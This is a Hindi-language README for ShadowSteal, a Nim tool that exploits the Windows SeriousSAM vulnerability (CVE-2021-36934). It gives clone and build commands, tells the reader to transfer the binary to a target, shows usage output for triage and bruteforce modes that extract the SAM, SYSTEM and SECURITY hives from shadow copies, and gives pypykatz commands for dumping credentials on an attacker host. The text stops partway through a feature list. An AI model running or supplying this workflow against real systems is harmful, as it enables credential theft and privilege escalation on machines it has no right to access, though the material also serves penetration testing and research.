
CVE-2021-36934, SeriousSAM स्थानीय विशेषाधिकार वृद्धि, के शोषण के लिए Pure Nim कार्यान्वयन
CVE-2021-36934 के शोषण के लिए शुद्ध Nim कार्यान्वयन, SeriousSAM स्थानीय विशेषाधिकार वृद्धि (LPE)। OPSEC सुरक्षित नहीं है.... अभी तक ;)। मैं इस शोषण की खोज का श्रेय नहीं लेता हूं।
डॉकर की बदौलत ShadowSteal के साथ शुरुआत करना अब पहले से कहीं अधिक आसान है! Nim निर्भरताएँ स्थापित करने से परेशान नहीं होना चाहते? मैं आपको संभाल लूंगा, दोस्त! Docker बिल्ड वातावरण बनाने, बाइनरी संकलित करने, इसे वापस आपके होस्ट पर स्थानांतरित करने और फिर कंटेनर को मारने के लिए Python स्क्रिप्ट चलाएँ।
अपने होस्ट पर Docker स्थापित करें (विभिन्न OS के लिए स्थापित करने के तरीके के लिए दस्तावेज़ देखें), फिर मुख्य निर्देशिका में ShadowSteal Python स्क्रिप्ट चलाएँ:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
या, Nim और इसकी निर्भरताएँ स्थापित करके स्रोत से निर्माण करें:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
यदि MinGW टूल चेन पहले से स्थापित नहीं है तो इसे स्थापित करें।
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
लक्ष्य पर स्थानांतरित करें...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Microsoft द्वारा कुछ निगरानी के कारण, हाल के Windows बिल्ड में सामान्य उपयोगकर्ताओं के पास ...\System32\config\ फ़ोल्डर की सामग्री पर पढ़ने की अनुमतियाँ हैं। अन्य बातों के अलावा, इसका मतलब है कि एक निम्न-स्तरीय उपयोगकर्ता के पास ...\System32\config में SAM, System और Security फ़ाइलों तक पढ़ने की पहुँच है।

उफ्फ। तो हम इसके साथ क्या कर सकते हैं?
कुछ बहुत ही चौकस शोधकर्ताओं (शाउट आउट @jonasLyk!) ने देखा कि यदि किसी Windows होस्ट ने एक विशिष्ट सिस्टम रिस्टोर कॉन्फ़िगरेशन, "वॉल्यूम शैडो कॉपीज़" का उपयोग किया है, तो होस्ट इन फ़ाइलों की बैकअप प्रतियाँ संग्रहीत करता है जो इन प्रतियों के लिए Win32 डिवाइस नेमस्पेस के माध्यम से सुलभ होती हैं।


SAM सामान्यतः होस्ट के संचालन के दौरान लॉक रहता है, इसलिए ...\System32\config\ में SAM तक पहुँचना सवाल से बाहर है। लेकिन ये शैडो वॉल्यूम प्रतियाँ इस गलत कॉन्फ़िगरेशन के कारण होस्ट पर किसी भी उपयोगकर्ता के लिए उपलब्ध हैं। बहुत अच्छा!
ShadowSteal एक Nim में लिखा गया बाइनरी है जो इन शैडो प्रतियों से SAM, System और Security फ़ाइलों की गणना और बहिर्वाह को स्वचालित करता है। यह शैडो प्रतियों के संभावित स्थानों के माध्यम से पुनरावृत्ति करता है और जब इसे कोई लक्ष्य मिल जाता है, तो यह फ़ाइलों को एक ज़िप्ड निर्देशिका में निकालता है (Bloodhound आउटपुट के बारे में सोचें)।


यह कुछ अर्थ-शैटरिंग नहीं है और कोड हैकी है, लेकिन यह काम करता है और यह एक मजेदार बिल्ड था!
Nim स्थापित करें:
$ sudo apt-get install nim
निर्भरताएँ स्थापित करें:
$ nimble install zippy argparse winim
यदि MinGW टूल चेन पहले से स्थापित नहीं है तो इसे स्थापित करें:
$ sudo apt-get install mingw-w64
64-बिट Windows के लिए संकलित करें:
$ make
लक्ष्य पर स्थानांतरित करें और इसे चलाएँ!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
स्थान bruteforce को 10 से 1 तक सीमित करता है, प्रत्येक प्रयास के साथ घटता है। अधिकांश वातावरणों में तेज़ और प्रभावी।
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
सभी संभावित स्थानों (512) की खोज करता है, घटते हुए 1 तक। पर्यावरण को अच्छी तरह से गणना करने के लिए इसे आज़माएँ। कुछ मिनट लगते हैं।
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
आउटपुट निर्देशिका को वापस अपने हमलावर होस्ट पर स्थानांतरित करें और Pypykatz के साथ डेटा को उकेरें। स्थापित करने के लिए:
$ pip3 install pypykatz
Pypykatz चलाने के लिए:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

अब इसमें एक आसान प्री-पैकेज्ड Docker बिल्ड वातावरण है! बस Docker वातावरण सेट करने, बाइनरी को संकलित करने, इसे वापस अपने होस्ट पर स्थानांतरित करने और बिल्ड कंटेनरों को समाप्त करने के लिए ShadowSteal.py स्क्रिप्ट चलाएँ। यह बस काम करता है! (कुछ असेंबली की आवश्यकता है, अर्थात इसे चलाने के लिए आपको Docker की आवश्यकता है)।
दुबला और मीन. अनुकूलित संकलन विकल्प जोड़े गए। कंपाइलर ऑप्टिमाइज़ेशन के कारण भारी प्रदर्शन वृद्धि, पूर्ण bruteforce अब लगभग तुरंत होता है। छद्म PR के लिए @orbitalgun को बहुत धन्यवाद, आपके घर और नाम की महिमा हो!
अंदर आ जाओ दोस्तों, यह ट्रेनव्रेक चल रहा है। यह रिलीज़ मेरा त्वरित प्रोटोटाइप था और यह बहुत भयानक था lol. फिर भी बनाने में बहुत मज़ा आया! विशेषताएँ:
